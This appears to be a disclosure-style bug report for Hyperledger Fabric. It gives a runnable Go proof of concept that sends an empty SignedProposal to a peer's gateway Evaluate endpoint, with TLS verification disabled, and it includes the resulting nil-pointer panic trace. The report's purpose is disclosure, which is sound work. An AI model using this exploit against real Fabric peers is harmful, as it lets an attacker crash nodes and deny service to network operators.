How to reproduce
1.Bring up the test network.(https://hyperledger-fabric.readthedocs.io/en/latest/test_network.html#bring-up-the-test-network)
2.Run the PoC.
“`bash
go run poc.go -server=192.168.0.208:7051
“`
“`go
package main

import (
“context”
“crypto/tls”
“flag”
“fmt”

“github.com/hyperledger/fabric-protos-go/gateway”
“github.com/hyperledger/fabric-protos-go/peer”

“google.golang.org/grpc”
“google.golang.org/grpc/credentials”
)

func main() {

var srv string
flag.StringVar(&srv, “server”, “localhost:7050”, “The RPC server to connect to.”)

flag.Parse()

config := &tls.Config{
InsecureSkipVerify: true,
}

conn, err := grpc.Dial(srv, grpc.WithTransportCredentials(credentials.NewTLS(config)))

defer func() {
_ = conn.Close()
}()

if err != nil {
fmt.Println(“Error connecting:”, err)
return
}

payload := &gateway.EvaluateRequest{}

payload.ProposedTransaction = &peer.SignedProposal{}

resp, err := gateway.NewGatewayClient(conn).Evaluate(context.TODO(), payload)
if err != nil {
fmt.Println(“Error connecting:”, err)
return
}

fmt.Println(“resp:”, resp)

}

“`
3.Crash.
“`log
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x157d6c7]

goroutine 381927 [running]:
github.com/hyperledger/fabric/internal/pkg/gateway.getChannelAndChaincodeFromSignedProposal(0x0?)
/go/src/github.com/hyperledger/fabric/internal/pkg/gateway/apiutils.go:49 +0xe7
github.com/hyperledger/fabric/internal/pkg/gateway.(*Server).Evaluate(0xc0001dd3e0, {0x1b55c58?, 0xc00359aa80}, 0xc003470600)
/go/src/github.com/hyperledger/fabric/internal/pkg/gateway/api.go:43 +0x85
github.com/hyperledger/fabric-protos-go/gateway._Gateway_Evaluate_Handler.func1({0x1b55c58, 0xc00359aa80}, {0x18ed0a0?, 0xc003470600})
/go/src/github.com/hyperledger/fabric/vendor/github.com/hyperledger/fabric-protos-go/gateway/gateway.pb.go:1176 +0x78
github.com/hyperledger/fabric/internal/peer/node.unaryGrpcLimiter.func1({0x1b55c58, 0xc00359aa80}, {0x18ed0a0, 0xc003470600}, 0x195a8d5?, 0xc003400210)
/go/src/github.com/hyperledger/fabric/internal/peer/node/grpc_limiters.go:49 +0x38e
github.com/grpc-ecosystem/go-grpc-middleware.ChainUnaryServer.func1.1.1({0x1b55c58?, 0xc00359aa80?}, {0x18ed0a0?, 0xc003470600?})
/go/src/github.com/hyperledger/fabric/vendor/github.com/grpc-ecosystem/go-grpc-middleware/chain.go:25 +0x3a
github.com/hyperledger/fabric/common/grpclogging.UnaryServerInterceptor.func1({0x1b55c58, 0xc00359a810}, {0x18ed0a0, 0xc003470600}, 0xc000308420, 0xc000308440)
/go/src/github.com/hyperledger/fabric/common/grpclogging/server.go:92 +0x305
github.com/grpc-ecosystem/go-grpc-middleware.ChainUnaryServer.func1.1.1({0x1b55c58?, 0xc00359a810?}, {0x18ed0a0?, 0xc003470600?})
/go/src/github.com/hyperledger/fabric/vendor/github.com/grpc-ecosystem/go-grpc-middleware/chain.go:25 +0x3a
github.com/hyperledger/fabric/common/grpcmetrics.UnaryServerInterceptor.func1({0x1b55c58, 0xc00359a810}, {0x18ed0a0, 0xc003470600}, 0x7f0fb3c94a38?, 0xc000308460)
/go/src/github.com/hyperledger/fabric/common/grpcmetrics/interceptor.go:31 +0x17b
github.com/grpc-ecosystem/go-grpc-middleware.ChainUnaryServer.func1.1.1({0x1b55c58?, 0xc00359a810?}, {0x18ed0a0?, 0xc003470600?})
/go/src/github.com/hyperledger/fabric/vendor/github.com/grpc-ecosystem/go-grpc-middleware/chain.go:25 +0x3a
github.com/grpc-ecosystem/go-grpc-middleware.ChainUnaryServer.func1({0x1b55c58, 0xc00359a810}, {0x18ed0a0, 0xc003470600}, 0xc000521ae0?, 0x17ab820?)
/go/src/github.com/hyperledger/fabric/vendor/github.com/grpc-ecosystem/go-grpc-middleware/chain.go:34 +0xbf
github.com/hyperledger/fabric-protos-go/gateway._Gateway_Evaluate_Handler({0x189b040?, 0xc0001dd3e0}, {0x1b55c58, 0xc00359a810}, 0xc0034705a0, 0xc0001f0720)
/go/src/github.com/hyperledger/fabric/vendor/github.com/hyperledger/fabric-protos-go/gateway/gateway.pb.go:1178 +0x138
google.golang.org/grpc.(*Server).processUnaryRPC(0xc0006a2e00, {0x1b5a950, 0xc0002f4480}, 0xc00321e100, 0xc00045a780, 0x2398808, 0xc00357a740)
/go/src/github.com/hyperledger/fabric/vendor/google.golang.org/grpc/server.go:1180 +0xc8f
google.golang.org/grpc.(*Server).handleStream(0xc0006a2e00, {0x1b5a950, 0xc0002f4480}, 0xc00321e100, 0xc00357a740)
/go/src/github.com/hyperledger/fabric/vendor/google.golang.org/grpc/server.go:1503 +0xa1b
google.golang.org/grpc.(*Server).serveStreams.func1.2()
/go/src/github.com/hyperledger/fabric/vendor/google.golang.org/grpc/server.go:843 +0x98
created by google.golang.org/grpc.(*Server).serveStreams.func1
/go/src/github.com/hyperledger/fabric/vendor/google.golang.org/grpc/server.go:841 +0x28a
“`

## Impact

It can easily break down as many peers as the attacker wants.Read More